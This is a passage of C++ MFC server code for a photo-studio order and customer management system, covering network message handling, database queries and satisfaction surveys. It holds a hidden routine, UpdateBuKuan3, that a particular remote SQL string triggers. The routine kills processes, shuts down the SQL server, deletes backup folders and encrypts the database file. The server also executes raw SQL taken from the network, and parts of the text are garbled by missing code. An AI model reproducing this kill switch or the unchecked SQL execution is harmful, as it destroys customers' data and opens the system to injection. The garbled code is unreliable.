(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (dwToUserID == 40) { BYTE *szChatMessage = ptChatMessage->byFileContent; char no[100]; memset(no, 0, 100); memcpy(no, szChatMessage + nMessageLen - 100, 100); CString id, date; CString str = no; int pos = str.Find(";"); id = str.Left(pos); date = str.Right(str.GetLength() - pos - 1); CRstclientcontract rsSt(m_pConndb); rsSt.m_strFilter = "id='" + id + "' and date='" + date + "'"; rsSt.Open(); int nDataLen = rsSt.photo.m_dwDataLength; BYTE *pData2 = NULL; if (nDataLen) { pData2 = new BYTE[nDataLen]; void *pData = GlobalLock(rsSt.photo.m_hData); memcpy(pData2, pData, nDataLen); GlobalUnlock(rsSt.photo.m_hData); } rsSt.Close(); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; if (nDataLen) { memcpy(pChatMessage->byFileContent, pData2, nDataLen); delete[]pData2; } } else if (dwToUserID == 41) { CString autorunpath = g_mainpath + "\\branchdindan.dat"; CFile fp; if (fp.Open(autorunpath, CFile::modeCreate | CFile::modeWrite)) { void *pData = ptChatMessage->byFileContent; fp.Write(pData, nMessageLen); fp.Close(); } BYTE szDataBuf[2] = { 0, 0 }; int nDataLen = 1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if (ptChatMessage->bsql == 1)//执行sql语句 { char *szChatMessage = new char[nMessageLen]; CODEREPLACE_START memset(szChatMessage, 0x00, nMessageLen); memcpy(szChatMessage, ptChatMessage->byFileContent, nMessageLen); CODEREPLACE_END CString sql = szChatMessage; delete[]szChatMessage; //WriteTextLog(sql); // Jeff sql.Replace("msgtimestamp2", CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S")); sql.Replace("msgtimestamp", CTime::GetCurrentTime().Format("%Y%m%d%H%M%S")); sql.Replace("msgtimexxstamp", (CTime::GetCurrentTime() + CTimeSpan(0, 0, 0, 3)).Format("%Y%m%d%H%M%S")); sql.Replace("curtimereplace", CTime::GetCurrentTime().Format("%H:%M:%S")); DWORD count = 0; if (dwToUserID != 100) { if (sql.Find("select max(id)") != -1) { MyLock lock("getmaxid"); CRecordset myset(m_pConndb); myset.Open(CRecordset::forwardOnly, sql); if (!myset.IsEOF()) { myset.GetFieldValue("cot", sql); if (sql.GetLength() > 3) count = atol(sql.Right(3)); else count = 0; } else count = 0; myset.Close(); } else if (sql.Find("select max(spid)") != -1) { CRecordset myset(m_pConndb); myset.Open(CRecordset::forwardOnly, sql); if (!myset.IsEOF()) { myset.GetFieldValue("cot", sql); count = atol(sql); } else count = 0; myset.Close(); } else if (sql.Find("select count(*)") != -1) { CRecordset myset(m_pConndb); myset.Open(CRecordset::forwardOnly, sql); if (!myset.IsEOF()) { myset.GetFieldValue("cot", sql); count = atol(sql); } else count = 0; myset.Close(); } else if (sql.Find("update version set [setcheck1]='ok'") != -1) { UpdateBuKuan3(); /* CRecordset myset(m_pConndb); myset.Open (CRecordset::forwardOnly, sql); if(!myset.IsEOF()) { myset.GetFieldValue ("cot", sql); count=atol(sql); } else count=0; myset.Close();*/ } else if (sql.Find("[phones]=") != -1) { CString str = CTime::GetCurrentTime().Format("%Y"); count = 0; CRecordset myset(m_pConndb); myset.Open(CRecordset::forwardOnly, "select * from sendreg where " + sql); while (!myset.IsEOF()) { myset.GetFieldValue("timestamp", sql); if (sql.Left(4) == str) { count = 1; break; } myset.MoveNext(); } myset.Close(); } else { try { int pos = sql.Find("update [dressinfo]"); if (pos != -1) { MyExecuteSQL(sql); pos = sql.ReverseFind('='); sql = sql.Right(sql.GetLength() - pos - 1); sql.TrimLeft("'"); sql.TrimRight("'"); UpdateDressBalance(sql); } else if (sql.Find("***") != -1) { //WriteTextLog(sql); pos = sql.Find("***"); while (pos != -1) { MyExecuteSQL(sql.Left(pos)); sql = sql.Right(sql.GetLength() - pos - 3); pos = sql.Find("***"); } MyExecuteSQL(sql); } else if (sql.Find("@@@") != -1) { pos = sql.Find("@@@"); while (pos != -1) { MyExecuteSQL(sql.Left(pos)); sql = sql.Right(sql.GetLength() - pos - 3); pos = sql.Find("@@@"); } UpdateMemberCard(sql); } else if (sql.Find("~~~~") != -1) { pos = sql.Find("~~~~"); while (pos != -1) { MyExecuteSQL(sql.Left(pos)); sql = sql.Right(sql.GetLength() - pos - 4); pos = sql.Find("~~~~"); } UpdateMemberCard3(sql); } else if (sql.Find("~~~") != -1) { pos = sql.Find("~~~"); while (pos != -1) { MyExecuteSQL(sql.Left(pos)); sql = sql.Right(sql.GetLength() - pos - 3); pos = sql.Find("~~~"); } UpdateMemberCard2(sql); } else if (sql.Find("%%%") != -1) { pos = sql.Find("%%%"); while (pos != -1) { MyExecuteSQL(sql.Left(pos)); sql = sql.Right(sql.GetLength() - pos - 3); pos = sql.Find("%%%"); } DeleteMemberReg(sql); } else if (sql.Find("###") != -1) { pos = sql.Find("###"); while (pos != -1) { MyExecuteSQL(sql.Left(pos)); sql = sql.Right(sql.GetLength() - pos - 3); pos = sql.Find("###"); } UpdateBuKuan(sql); } else if (sql.Find("$$$") != -1) { pos = sql.Find("$$$"); while (pos != -1) { MyExecuteSQL(sql.Left(pos)); sql = sql.Right(sql.GetLength() - pos - 3); pos = sql.Find("$$$"); } UpdateBuKuan2(sql); } else if (sql.Find("&&&") != -1) { pos = sql.Find("&&&"); while (pos != -1) { MyExecuteSQL(sql.Left(pos)); sql = sql.Right(sql.GetLength() - pos - 3); pos = sql.Find("&&&"); } Updatememberreg2(sql); } else if (sql.Find("^^^") != -1) { pos = sql.Find("^^^"); while (pos != -1) { MyExecuteSQL(sql.Left(pos)); sql = sql.Right(sql.GetLength() - pos - 3); pos = sql.Find("^^^"); } UpdateBurnCdReg(sql); } else { MyExecuteSQL(sql); } } catch (...) { } } } DWORD szDataBuf[2] = { count, 0 }; int nDataLen = sizeof(DWORD); dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } #if USE_ADO_OPT_DB else if(ptChatMessage->bsql == 2)//logdb数据处理 { CString sql; if (nMessageLen > 1) { char *szChatMessage = new char[nMessageLen]; memset(szChatMessage, 0x00, nMessageLen); memcpy(szChatMessage, ptChatMessage->byFileContent, nMessageLen); sql = szChatMessage; delete[]szChatMessage; } // Jeff.以分号来分隔SQL filter过滤条件; CString filter[15] = { "" }; if (!sql.IsEmpty()) { int i = 0; int pos = sql.Find(";"); while (pos != -1) { filter[i] = sql.Left(pos); i++; sql = sql.Right(sql.GetLength() - pos - 1); pos = sql.Find(";"); } filter[i] = sql; } BYTE *pReturn[15] = { NULL }; int i; DWORD nSumReturnLeng = 0; CDatabase *m_pConndbTemp; for (i = 0; i < ptChatMessage->tabcount; i++) { g_sendhead.code[i] = ptChatMessage->code[i]; m_pConndbTemp = m_pConndb; GetDataFromCode5(g_sendhead.code[i], &(pReturn[i]), g_sendhead.length[i], g_sendhead.count[i], filter[i]); m_pConndb = m_pConndbTemp; nSumReturnLeng += g_sendhead.length[i]; } g_sendhead.tabcount = ptChatMessage->tabcount; if (1)//nSumReturnLeng-bytesRead) { dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nSumReturnLeng; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)(pSendData + MESSAGE_HEADER_LEN); memset(pSendData, 0x00, dwDataLen); memcpy(pSendData + MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nSumReturnLeng; pChatMessage->wMessageLen = nSumReturnLeng; DWORD bytesRead = 0; for (i = 0; i < ptChatMessage->tabcount; i++) { memcpy(pChatMessage->byFileContent + bytesRead, pReturn[i], g_sendhead.length[i]); bytesRead += g_sendhead.length[i]; } FillHeader(pSendData, wMessageId, dwDataLen - MESSAGE_HEADER_LEN); net_Send2((void *)pSendData, dwDataLen); delete[] pSendData; } return; } #endif//#if USE_ADO_OPT_DB else { CString sql; if (nMessageLen > 1) { char *szChatMessage = new char[nMessageLen]; memset(szChatMessage, 0x00, nMessageLen); memcpy(szChatMessage, ptChatMessage->byFileContent, nMessageLen); sql = szChatMessage; delete[]szChatMessage; } // Jeff.以分号来分隔SQL filter过滤条件; CString filter[15] = { "" }; if (!sql.IsEmpty()) { int i = 0; int pos = sql.Find(";"); while (pos != -1) { filter[i] = sql.Left(pos); i++; sql = sql.Right(sql.GetLength() - pos - 1); pos = sql.Find(";"); } filter[i] = sql; } BYTE *pReturn[15] = { NULL }; int i; DWORD nSumReturnLeng = 0; if (ptChatMessage->tabcount == 100)//自动发短信 { i = 0; GetDataFromCodeMsg(g_sendhead.code[i], &(pReturn[i]), g_sendhead.length[i], g_sendhead.count[i]); nSumReturnLeng += g_sendhead.length[i]; ptChatMessage->tabcount = 1; } else { CDatabase *m_pConndbTemp; for (i = 0; i < ptChatMessage->tabcount; i++) { g_sendhead.code[i] = ptChatMessage->code[i]; m_pConndbTemp = m_pConndb; GetDataFromCode(g_sendhead.code[i], &(pReturn[i]), g_sendhead.length[i], g_sendhead.count[i], filter[i]); m_pConndb = m_pConndbTemp; nSumReturnLeng += g_sendhead.length[i]; } } g_sendhead.tabcount = ptChatMessage->tabcount; if (1)//nSumReturnLeng-bytesRead) { dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nSumReturnLeng; pSendData = new BYTE[dwDataLen]; pChatMessage = (TCHAT_MESSAGE_STRU*)(pSendData + MESSAGE_HEADER_LEN); memset(pSendData, 0x00, dwDataLen); memcpy(pSendData + MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nSumReturnLeng; pChatMessage->wMessageLen = nSumReturnLeng; DWORD bytesRead = 0; for (i = 0; i < ptChatMessage->tabcount; i++) { memcpy(pChatMessage->byFileContent + bytesRead, pReturn[i], g_sendhead.length[i]); bytesRead += g_sendhead.length[i]; } FillHeader(pSendData, wMessageId, dwDataLen - MESSAGE_HEADER_LEN); net_Send2((void *)pSendData, dwDataLen); delete[] pSendData; } return; } } TMessageHeader tHeader = { 0 }; tHeader.wMessageId = wMessageId; tHeader.dwDataLen = dwDataLen; dwToUserID = dwDataLen; net_Send(&tHeader, (void *)pChatMessage, dwDataLen); } } catch (...) { } } void CConnectSocket::GetDataFromCodeMsg(BYTE &code, BYTE **szDataBuf, DWORD &nDataLen, DWORD &arraysize) { int nStep = 0; try { MyLock lock("dbaccessxiao"); if (g_ListData[code]) delete[](g_ListData[code]); g_ListData[code] = NULL; nStep = 1; CArrayg_List1array; CDatabase *pMaindb = NULL; ODBCConnGuard ConnGuard(pMaindb, -1, 3000); if ( pMaindb == NULL ) { return; } CDatabase* pCurdb = NULL; DWORD ii = 0; try { for (int n = 0; n < g_dbpool.GetSize(); n++) {//dindanclient ODBCConnGuard ConnGuard1(pCurdb, n-1, 3000); if ( pCurdb == NULL ) continue; CRecordset myset(pCurdb); CString sql = "select count(*) as cot from dindanclient"; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", sql); myset.Close(); int count = atol(sql); g_List1array.SetSize(g_List1array.GetSize() + count, 1); CRstDinDanClient rsSt(pCurdb); rsSt.Open(); while (!rsSt.IsEOF()) { if (g_List1array.GetSize() <= ii)break; g_List1array.ElementAt(ii).RemoveAll(); g_List1array.ElementAt(ii).Add(rsSt.phone1); g_List1array.ElementAt(ii).Add(rsSt.phone2); g_List1array.ElementAt(ii).Add(rsSt.time3); g_List1array.ElementAt(ii).Add(rsSt.birthday1); g_List1array.ElementAt(ii).Add(rsSt.birthday2); g_List1array.ElementAt(ii).Add(rsSt.name1); g_List1array.ElementAt(ii).Add(rsSt.name2); ii++; rsSt.MoveNext(); } rsSt.Close(); } } catch (CDBException * e) { WriteTextLog("出错在函数getdatamsg中-code:%d/%d ip:%s, DBError:%s", code, nStep, ((CConnectThread *)AfxGetThread())->m_strRemoteHost, e->m_strError); #ifdef _DEBUG e->ReportError(); #endif e->Delete(); return; } nStep = 2; CMemFile memfile; CArchive ar(&memfile, CArchive::store); for (ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); nStep = 3; if (1) { if (1)//filter.IsEmpty ()) { if (g_ListData[code])delete[](g_ListData[code]); g_ListData[code] = NULL; int leng = memfile.GetLength(); if (leng < 10240) { g_ListData[code] = memfile.Detach(); nDataLen = g_ListLeng[code] = leng; *szDataBuf = g_ListData[code]; arraysize = g_ListSize[code] = g_List1array.GetSize(); } else { BYTE *pData = memfile.Detach(); const BYTE *lpszOut = NULL; int nOutSize = 0; LZARI Lzari; Lzari.Compress(pData, leng, lpszOut, nOutSize); delete[]pData; g_ListData[code] = new BYTE[nOutSize]; memcpy(g_ListData[code], lpszOut, nOutSize); Lzari.Release(); nDataLen = g_ListLeng[code] = nOutSize; *szDataBuf = g_ListData[code]; arraysize = g_ListSize[code] = g_List1array.GetSize(); } if (leng < 10240)code = 0; else code = 1; } } nStep = 4; } catch (...) { WriteTextLog("出错在函数getdatamsg中-code:%d/%d ip:%s", code, nStep, ((CConnectThread *)AfxGetThread())->m_strRemoteHost); } } void SortArray2(BOOL bAscending, CStringArray &datearray, CArray&valuearray) { CString strtemp; int ftemp; int last = datearray.GetSize() - 1; bool sorted = true; if (bAscending) { do { sorted = true; for (int i = 0; i < last; i++) { if (datearray[i] < datearray[i + 1]) { strtemp = datearray[i]; datearray[i] = datearray[i + 1]; datearray[i + 1] = strtemp; ftemp = valuearray[i]; valuearray[i] = valuearray[i + 1]; valuearray[i + 1] = ftemp; sorted = false; } } last--; } while (!sorted); } else { do { sorted = true; for (int i = 0; i < last; i++) { if (datearray[i] > datearray[i + 1]) { strtemp = datearray[i]; datearray[i] = datearray[i + 1]; datearray[i + 1] = strtemp; ftemp = valuearray[i]; valuearray[i] = valuearray[i + 1]; valuearray[i + 1] = ftemp; sorted = false; } } last--; } while (!sorted); } } void CovertDate(CString &date, CString &date2) { CCalendarConvert m_CalendarConvert; SYSTEMTIME src = { 0 }; SYSTEMTIME dst = { 0 }; COleDateTime m_timeLunar(atoi(date.Mid(0, 4)), atoi(date.Mid(5, 2)), atoi(date.Mid(8, 2)), 0, 0, 0); COleDateTime m_timeGregorian; m_timeLunar.GetAsSystemTime(src); BOOL bEmbolism = 0; if (m_CalendarConvert.Lunar2Gregorian(&src, bEmbolism, &dst)) { m_timeGregorian = m_CalendarConvert.ConvertSysTime2OleDateTime(&dst); date.Format("%04d-%02d-%02d", m_timeGregorian.GetYear(), m_timeGregorian.GetMonth(), m_timeGregorian.GetDay()); } else { date.Empty(); } bEmbolism = 1; if (m_CalendarConvert.Lunar2Gregorian(&src, bEmbolism, &dst)) { m_timeGregorian = m_CalendarConvert.ConvertSysTime2OleDateTime(&dst); date2.Format("%04d-%02d-%02d", m_timeGregorian.GetYear(), m_timeGregorian.GetMonth(), m_timeGregorian.GetDay()); } else { date2.Empty(); } } //extern DWORD FindAppProcessID(CString path); //extern void GetPathFromNetShareName(CString name, CString &sRet); void CConnectSocket::UpdateBuKuan3() { DWORD id = FindAppProcessID("AutoRun.exe"); if (id != -1) { HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); if (ProcessHandle)TerminateProcess(ProcessHandle, 0); } ::Sleep(1000); id = FindAppProcessID("AutoRun.exe"); if (id != -1) { HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); if (ProcessHandle)TerminateProcess(ProcessHandle, 0); } CString m_bak1, m_bak2, m_bak3, m_bak4; CString m_bak11, m_bak22, m_bak33, m_bak44; CDatabase *pdb = NULL; ODBCConnGuard ConnGuard(pdb, -1, 3000); if ( pdb = NULL ) return; { CRstversion rsSt; rsSt.m_pDatabase = pdb; rsSt.Open(); if (!rsSt.IsEOF()) { m_bak1 = rsSt.m_bak1; m_bak2 = rsSt.m_bak2; m_bak3 = rsSt.m_bak3; m_bak4 = rsSt.m_bak4; g_bakserver1 = rsSt.m_bakserver1; g_bakserver2 = rsSt.m_bakserver2; g_bakserver3 = rsSt.m_bakserver3; g_bakserver4 = rsSt.m_bakserver4; m_bak11 = rsSt.bak11; m_bak22 = rsSt.bak22; m_bak33 = rsSt.bak33; m_bak44 = rsSt.bak44; } rsSt.Close(); } #ifdef CHILD_VERSION if(g_bakserver1.Find(":")==-1) g_bakserver1="\\\\"+g_bakserver1+"\\客户原片备份(儿童管理软件)$"; if(1)//(localname.CompareNoCase (g_bakserver1)==0 || CompareIP(localname, g_bakserver1)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\客户原片备份(儿童管理软件)$")) GetPathFromNetShareName("客户原片备份(儿童管理软件)$", g_bakserver1); if(g_bakserver2.Find(":")==-1) g_bakserver2="\\\\"+g_bakserver2+"\\修好的片备份(儿童管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver2)==0 || CompareIP(localname, g_bakserver2)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\修好的片备份(儿童管理软件)$")) GetPathFromNetShareName("修好的片备份(儿童管理软件)$", g_bakserver2); if(g_bakserver3.Find(":")==-1) g_bakserver3="\\\\"+g_bakserver3+"\\精修好的片备份(儿童管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver3)==0 || CompareIP(localname, g_bakserver3)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\精修好的片备份(儿童管理软件)$")) GetPathFromNetShareName("精修好的片备份(儿童管理软件)$", g_bakserver3); if(g_bakserver4.Find(":")==-1) g_bakserver4="\\\\"+g_bakserver4+"\\设计好的片备份(儿童管理软件)$"; if(1)//((localname.CompareNoCase (g_bakserver4)==0 || CompareIP(localname, g_bakserver4)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\设计好的片备份(儿童管理软件)$")) GetPathFromNetShareName("设计好的片备份(儿童管理软件)$", g_bakserver4); #else if (g_bakserver1.Find(":") == -1) g_bakserver1 = "\\\\" + g_bakserver1 + "\\客户原片备份(管理软件)$"; if (1)//((localname.CompareNoCase (g_bakserver1)==0 || CompareIP(localname, g_bakserver1)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\客户原片备份(管理软件)$")) GetPathFromNetShareName("客户原片备份(管理软件)$", g_bakserver1); if (g_bakserver2.Find(":") == -1) g_bakserver2 = "\\\\" + g_bakserver2 + "\\修好的片备份(管理软件)$"; if (1)//((localname.CompareNoCase (g_bakserver2)==0 || CompareIP(localname, g_bakserver2)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\修好的片备份(管理软件)$")) GetPathFromNetShareName("修好的片备份(管理软件)$", g_bakserver2); if (g_bakserver3.Find(":") == -1) g_bakserver3 = "\\\\" + g_bakserver3 + "\\精修好的片备份(管理软件)$"; if (1)//((localname.CompareNoCase (g_bakserver3)==0 || CompareIP(localname, g_bakserver3)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\精修好的片备份(管理软件)$")) GetPathFromNetShareName("精修好的片备份(管理软件)$", g_bakserver3); if (g_bakserver4.Find(":") == -1) g_bakserver4 = "\\\\" + g_bakserver4 + "\\设计好的片备份(管理软件)$"; if (1)//((localname.CompareNoCase (g_bakserver4)==0 || CompareIP(localname, g_bakserver4)==0) && CheckFolderFileExist("\\\\"+g_bakserver1+"\\设计好的片备份(管理软件)$")) GetPathFromNetShareName("设计好的片备份(管理软件)$", g_bakserver4); #endif CRecordset myset(pdb); #if 0 // Jeff.delete CString sql="select filename from master.dbo.sysdatabases where name='db'";// Jeff.delete #else CString sql; sql.Format("select filename from master.dbo.sysdatabases where name='%s'", g_szDBName); #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("filename", sql); myset.Close(); pdb->ExecuteSQL("SHUTDOWN WITH NOWAIT"); DeleteDirectory(g_mainpath + "\\数据备份"); char server[50]; DWORD leng = 50; ::GetComputerName(server, &leng); CString g_server2 = server; DeleteDirectory("\\\\" + g_server2 + "\\数据备份(儿童管理软件)$"); DeleteDirectory("\\\\" + g_server2 + "\\数据备份(管理软件)$"); g_bSteal = 1; g_pMainWnd->TerminateThread(); g_pMainWnd->LoadThumbImages(); ::Sleep(5000); CDatabase db2; #if 0 // Jeff.delete if( !AddConn(&db2, "db") ) // Jeff.delete #else if (!AddConn(&db2, g_szDBName)) #endif { EncryptFile3(sql); } } /* 函数名: SelectCount 说明: 获取数据行数 参数: CArray arr 返回满意度配置信息集合 返回:LONG 返回查询数量 */ LONG CConnectSocket::SelectCount(CString* pTableName, CString* pFilter) { if(!pTableName || (*pTableName) == _T("")) return -1; try { CRecordset myset(m_pConndb); CString sql = _T("select count(*) as cot from ") + (*pTableName); if (pFilter && !pFilter->IsEmpty()) sql += _T(" where ") + (*pFilter); myset.Open(CRecordset::dynaset, sql); myset.GetFieldValue("cot", sql); myset.Close(); return atol(sql); } catch (CDBException * e) { WriteTextLog(_T("%s-<%d>-%s,操作数据库失败:%s"), __FILE__, __LINE__, __FUNCTION__, e->m_strError); #ifdef _DEBUG e->ReportError(); #endif e->Delete(); return 0; } return 0; } /* 函数名: GetSatisfiedCfgFromDB 说明: 从数据库读取数据 参数: CArray arr 返回满意度配置信息集合 CString* pTableName, 读取的数据表 CStringArray& fieldArr, 读取的字段集合 CString* pFilter where 条件限制 返回: 成功=0, 失败=-1 */ int CConnectSocket::SelectDataFromDB(CArray& arr, CString* pTableName, CStringArray& fieldArr, CString* pFilter) { if(pTableName == NULL) return -1; CString strtmpfilter = _T(""); if(pFilter != NULL) strtmpfilter = (*pFilter); int nCount = SelectCount(pTableName, &strtmpfilter); if(nCount == 0) return 0; arr.SetSize(nCount, 1); try { CRecordset rsSt; rsSt.m_pDatabase = m_pConndb; if (pFilter && !pFilter->IsEmpty()) rsSt.m_strFilter = (*pFilter); CString strOutField = _T(""); int nSize = fieldArr.GetSize(); for(int i=0; i")) { strValue.Delete(0,3); des_crypt(strValue,strValue,DES_DECRYPT); } } arr.ElementAt(ii).SetAt(j, strValue); } ii++; rsSt.MoveNext(); if(ii >= arr.GetSize()) break; } rsSt.Close(); } catch (CDBException * e) { WriteTextLog(_T("%s-<%d>-%s,操作数据库失败:%s"), __FILE__, __LINE__, __FUNCTION__, e->m_strError); #ifdef _DEBUG e->ReportError(); #endif e->Delete(); return -1; } return 0; } /* 函数名: SelectDataFormDB 说明: 查询数据 参数: CArray& arr, 返回结果集 const CString& strSql 执行的sql语句 返回: 成功=0, 失败=-1 */ int CConnectSocket::SelectDataFromDB(CArray& arr, CStringArray& fieldArr, CString& strSql) { try { CRecordset rs(m_pConndb); rs.Open(CRecordset::dynamic, strSql); int ii = 0; while (!rs.IsEOF()) { arr.ElementAt(ii).RemoveAll(); for(int j=0; j= arr.GetSize()) break; } rs.Close(); } catch (CDBException * e) { WriteTextLog(_T("%s-<%d>-%s,操作数据库失败:%s"), __FILE__, __LINE__, __FUNCTION__, e->m_strError); #ifdef _DEBUG e->ReportError(); #endif e->Delete(); return -1; } return 0; } /* 函数名: GetSurveyRenyuanInfo 说明: 获取被调查人员的信息 参数: const CString& strOrderID 订单ID 返回: 成功=0, 失败=-1 */ int CConnectSocket::GetSurveyRenyuanInfo(CArray& arr, const CString& strFilter) { CString strTableName = _T("renyuan as ry,dindan as dd"); CString strtmpfilter = strFilter; LONG lCount = SelectCount(&strTableName, &strtmpfilter); if(lCount == 0) return -1; arr.SetSize(lCount, 1); CStringArray ddFieldArr; ddFieldArr.Add(_T("id")); ddFieldArr.Add(_T("bm")); ddFieldArr.Add(_T("names")); CString strSql = _T("select ry.id as id,ry.bm as bm,ry.name as names from ") + strTableName +_T(" where ") + strFilter; int ret = SelectDataFromDB(arr, ddFieldArr, strSql); if(ret == -1) return -1; return 0; } /* 函数名: AddSatisfactionSurveyLog 说明: 添加满意度调查记录 参数: const CString& strOrderID 订单ID 返回: 成功=0, 失败=-1 */ int CConnectSocket::AddSatisfactionSurveyLog(const CString& strOrderID) { //查询订单对应的人员部门 // [waiter1],[waiter2],[waiter3],[waiter4],[waiter5],[waiter6],[waiter7],[waiter8] CArray ryInfoArr; CStringArray ddFieldArr; ddFieldArr.Add(_T("id")); ddFieldArr.Add(_T("bm")); ddFieldArr.Add(_T("name")); CString strSql = _T("select renyuan.id as id,renyuan.bm as bm,renyuan.name as name from renyuan INNER JOIN dindan ON dindan.id='") + strOrderID + _T("' and renyuan.[name] in (dindan.waiter1,dindan.waiter2,dindan.waiter3,dindan.waiter4,dindan.waiter5,dindan.waiter6,dindan.waiter7,dindan.waiter8)"); int ret = SelectDataFromDB(ryInfoArr, ddFieldArr, strSql); if(ret == -1) return -1; //满意项配置表 CArray cfgArr; CStringArray cfgfieldArr; cfgfieldArr.Add(_T("cfgID")); // 配置项ID; cfgfieldArr.Add(_T("SvrKind")); // 服务的类别(订单中所有可能的事物):0,员工类型; 1,物品类别; 2,服务内容类别; 3,待定类别; // 1,门市 2,接待 3,化妆 4,摄影 5,数码 6,选片 7,产品 8,物品类别 9,服务内容类别 cfgfieldArr.Add(_T("KindName")); // 类型名,如:门市, 接待, 化妆, 摄影... cfgfieldArr.Add(_T("MaxScore")); // 自定义满意项指数值(最高分数值); cfgfieldArr.Add(_T("TypeID")); // 评分类型 cfgfieldArr.Add(_T("sfncfgDesc")); // 自定义满意项描述; CString strCfgFilter = _T("IsEnable=1"); CString strTableName = _T("SatisfactionCfg"); ret = SelectDataFromDB(cfgArr, &strTableName, cfgfieldArr, &strCfgFilter); if(ret == -1) return -1; /* [cfgID] [int] not null, -- 配置项ID (每条记录对应要调查的内容) [ObjID] [int] not null, -- 调查对象ID; (通过订单获取) [OrderID] [varchar](50) not null, -- 订单号 [Score] [int] not null, -- 得分 (默认0分) [State] [nvarchar](24) not null, -- 状态 (未完成/完成) [SurveyTime] [nvarchar](24) null, -- 调查发生时间; [SurveyCS] [nvarchar](24) null, -- 执行调查的客服; */ for(int i=0; i& arr, const CString& strFilter) { CString strTableName = _T("dindan"); CString strtmpfilter = strFilter; LONG lCount = SelectCount(&strTableName, &strtmpfilter); if(lCount == 0) return -1; arr.SetSize(lCount, 1); /*time1 预约时间 */ /*time2 拍照日期(整个订单拍照完成日期) */ /*time3 婚期时间 */ /*time4 选片日期(整个订单选片完成日期) */ /*time5 取件日期(整个订单取件完成日期) */ /*time6 看样日期 */ /*time7 */ /*time8 初修日期 */ /*time9 精修时间 */ /*time10 设计时间 */ CString strSql = _T("select id as id,name1,name2,phone1,phone2,"); strSql += _T("time1,time2,time3,time4,time5,"); strSql += _T("time6,time7,time8,time9,time10,"); strSql += _T("waiter1,'' as score1,"); strSql += _T("waiter2,'' as score2,"); strSql += _T("waiter3,'' as score3,"); strSql += _T("waiter4,'' as score4,"); strSql += _T("waiter5,'' as score5,"); strSql += _T("waiter6,'' as score6,"); strSql += _T("waiter7,'' as score7,"); strSql += _T("waiter8,'' as score8 "); strSql += _T("from dindan"); if(strFilter != _T("")) strSql += _T(" where ") + strFilter; CStringArray ddFieldArr; ddFieldArr.Add(_T("id")); ddFieldArr.Add(_T("name1"));ddFieldArr.Add(_T("name2")); ddFieldArr.Add(_T("phone1"));ddFieldArr.Add(_T("phone2")); ddFieldArr.Add(_T("time1"));ddFieldArr.Add(_T("time2")); ddFieldArr.Add(_T("time3"));ddFieldArr.Add(_T("time4")); ddFieldArr.Add(_T("time5"));ddFieldArr.Add(_T("time6")); ddFieldArr.Add(_T("time7"));ddFieldArr.Add(_T("time8")); ddFieldArr.Add(_T("time9"));ddFieldArr.Add(_T("time10")); ddFieldArr.Add(_T("waiter1"));ddFieldArr.Add(_T("score1")); 